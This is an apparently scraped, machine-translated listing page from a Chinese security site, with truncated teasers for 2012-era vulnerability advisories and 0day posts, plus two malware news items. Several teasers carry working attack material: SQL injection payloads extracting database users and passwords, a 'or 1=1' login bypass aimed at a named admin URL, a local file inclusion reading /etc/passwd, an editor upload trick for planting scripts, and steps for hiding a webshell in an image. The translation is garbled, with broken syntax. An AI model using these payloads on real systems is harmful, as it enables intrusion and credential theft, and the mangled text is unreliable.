D-Link DSL-2640B (ADSL Router) CSRF flaws and fixes-vulnerability warning-the black bar safety net

Title: D-Link DSL-2640B ADSL Router CSRF Vulnerability Author: Ivano Binetti www.badguest.cn http://ivanobinetti.com Program website: http://www.d-link.com Affected version: DSL-2640B Test platform: Firmware Version: EU4. 0 0; Hardware Version: B2 +-----------------------------------------------...

4PSA CMS SQl injection flaws and fixes-vulnerability warning-the black bar safety net

Title: 4PSA CMS SQL Injection Vulnerabilities Author: BHG Security Center www.2cto.com Nitrojen90 Development program official website: http://www.4psa.com/ Affected version: latest version Risk level: high Testing platform: GNU/Linux - Windows Example: http://www.badguest.cn /print. php? id=SQL...

FBI will shutdown the Internet on March 8

FBI will shutdown the Internet on March 8 The Internet could go dark for millions of users as early as March 8 because of a virus that has corrupted computers in more than 100 countries. Last year, authorities in Estonia apprehended six men believed responsible for creating a malicious computer...

Fork CMS v. 3. 2. 4 multiple defects ( LFI - XSS )-a vulnerability warning-the black bar safety net

Title: Fork CMS v. 3. 2. 4 - Multiple Vulnerabilities Developers: http://www.fork-cms.com Author: RandomStorm - http://www.randomstorm.com Avram Marius Gabriel d3v1l Test platform: Windows XP & Vista The management panel of the reflection type cross-siteXSS Test: http://www.badguest.cn...

Cryptome Webpages infected with Blackhole exploit kit

Cryptome Webpages infected with Blackhole exploit kit Cryptome.org a popular website and similar to Wikileaks was hacked by the cybercriminals & Attackers were able to hide malicious scripts on every one of the site's 6,000 pages. Anyone visiting with a vulnerable browser will have found themselv...

PHP local file inclusion(LFI)exploit-vulnerability warning-the black bar safety net

This study main references are: http://downloads.ackack.net/LocalFileInclusion.pdf Experimental code: If you are on linux, be submitted directly to: test. php? for=/etc/passwd%0 0 to display the file. ? php include$GET'for'.‘. php’;//for testing local include vulnerability ?& gt; If it is on win,...

Android webkit XSS cross-domain Auto-Download vulnerability-vulnerability warning-the black bar safety net

Android Multiple Vulnerabilities Author: www.80vul.com Email:5up3rh3igmail.com Release Date: 2012/2/8 References: http://www.80vul.com/android/android-0days.txt Ph4nt0m Webzine 0x06 has been releasedhttp://www.80vul.com/webzine0x06/,there three papers on the android application security about the...

oykX blog background post injection 0day-vulnerability warning-the black bar safety net

In the black bar safety net search oykX turned out to confiscate recorded this 0day Into http://zhouxiang. psdzj. com/admin/index. aspx In the account input box at the fill 1 2 3'Or 1=1 and '1'='1 Password is blank, also can be messy to fill, and click on the Login prompt for password error The...

nginx fastcgi configuration mistakes+parsing vulnerability-induced vulnerability-vulnerability warning-the black bar safety net

Now there are many sites with nginx, since the N months before the nginx parsing vulnerability since now almost all fixed, the General statement is written so if $fastcgiscriptname ../. php return 4 0 3; When matching/. phpwhen it returns 4 0 3 但是 有些 fastcgi 配置 的 却 不只 有 .php and some are even...

LASERnet CMS Version 1.5 SQL injection vulnerability and fix-vulnerability warning-the black bar safety net

Use method: http://www.badguest.cn/index.php?id=SQL Demo: http://www.badguest.cn /index. php? id=-1' UNION SELECT 1,2,3,CONCATWSCHAR32,58,32,user,database,version,5,6,7,8,9,1 0,1 1,1 2,1 3--+ Provide solution The filter index. php page id=parameter input...

Massive Compromise of WordPress Sites Leads To Phoenix Exploit Kit

Researchers at the security firm M86 report that hackers have compromised hundreds of Web sites that use the WordPress content management system. The sites, mostly small Web pages and blogs, are being used to fool spam filters and redirect unwitting visitors to drive by download Websites that wil...

Notepad Dog microblogging 3. 0 0day-vulnerability warning-the black bar safety net

You know.... wap/index. php? mod=pm&pmnew=andselect%2 0 1%20fromselect%20count,concatselect%2 0select%2 0select%20concat0x27,0x7e,jishigoumembers. username,0x27,0x7e,jishigoumembers. password,0x27,0x7e%20from%20jishigoumembers%20where%20uid=1%20limit%200,1%20from%20informationschema...

EasyPage SQL Injection Vulnerability-vulnerability warning-the black bar safety net

Title : EasyPage SQL Injection Vulnerability Author : Red Security TEAM Date : 19/01/2012 Risk : High Vendor : http://karait.com/ Tested On : Windows Server 2 0 0 8 Microsoft-IIS/7.5 Dork : inurl:default. aspx? page=Document&app=Documents&docId= Contact : Info 4t RedSecurity d0t COM Home :...

ewebeditor version>=5. 5 tasteless 0day and fix-vulnerability warning-the black bar safety net

To 6. X also works for ASP. aspx. JSP. Are work. Use method: To access this address Editor/asp/upload. asp? action=save&type=image&style=popup&cusdir=a. asp Visit this address can establish an A. ASP folder...... Then use this html code to upload. form...

ptcms PT fiction thief PTNovelSteal any code written 0day-vulnerability warning-the black bar safety net

pt the novel system through the kill version. But the official is already out of the patch! （The fucking game! OK the following text to start:here is our own exchange platform, is part of our 90sec all members of the technical sharing platform! This sets the program user did not use the database,...

ShuzirenCMS v4. 0 background Get a Shell and fix-vulnerability warning-the black bar safety net

A simple look under the... Find Asp Php script permission to seal too tightly throughout the website, directory any one not to write Test environment/system: Digital Information Center content management system ShuzirenCMS v4. 0 / Windows Regardless of your social worker,dig yourself the...

Kingdee Apusic Web framework for the backend to get the site webshell and repair-vulnerability warning-the black bar safety net

Apusic Web Management Console Default background address: admin/login. jsp The default management account password: admin admin Use method: the background has to execute SQL statements, also have to load anything. Specific words have forgotten Find Upload, a loaded God horse, just look to...

Pass to kill IIS7. 0 deformity parsing 0day vulnerabilities-vulnerability warning-the black bar safety net

To merge a PHP word pictures of horses, the combined method: ① , DOS merge: copy 1.gif /b + 1. txt/a asp.gif ② , With edjpgcom, make picture and word Trojan of the merger, Pictures just to find one. 【Incidentally, with the way edjpgcom the use of method: open the edjpgcom. exe the folder, and the...

MySQL < 5.0.22 / 5.1.10 Authentication Bypass

The version of MySQL installed on the remote host is earlier than 5.0.22 / 5.1.10 and thus reportedly allows a local user to bypass authentication by sending a SQL query that contains a NULL character. C Tenable Network Security, Inc. include"compat.inc"; if description scriptid17801;...

Wordpress plugin Count-per-day plurality of defect and repair-vulnerability warning-the black bar safety net

Title: Count-per-day Wordpress plugin Arbitrary file download and XSS Affected versions: 3.1.1 Author 6Scan http://6scan.com security team www.2cto.com Download address: http://wordpress.org/extend/plugins/count-per-day/ Official fix: This advisory is released after the vendor has responded and...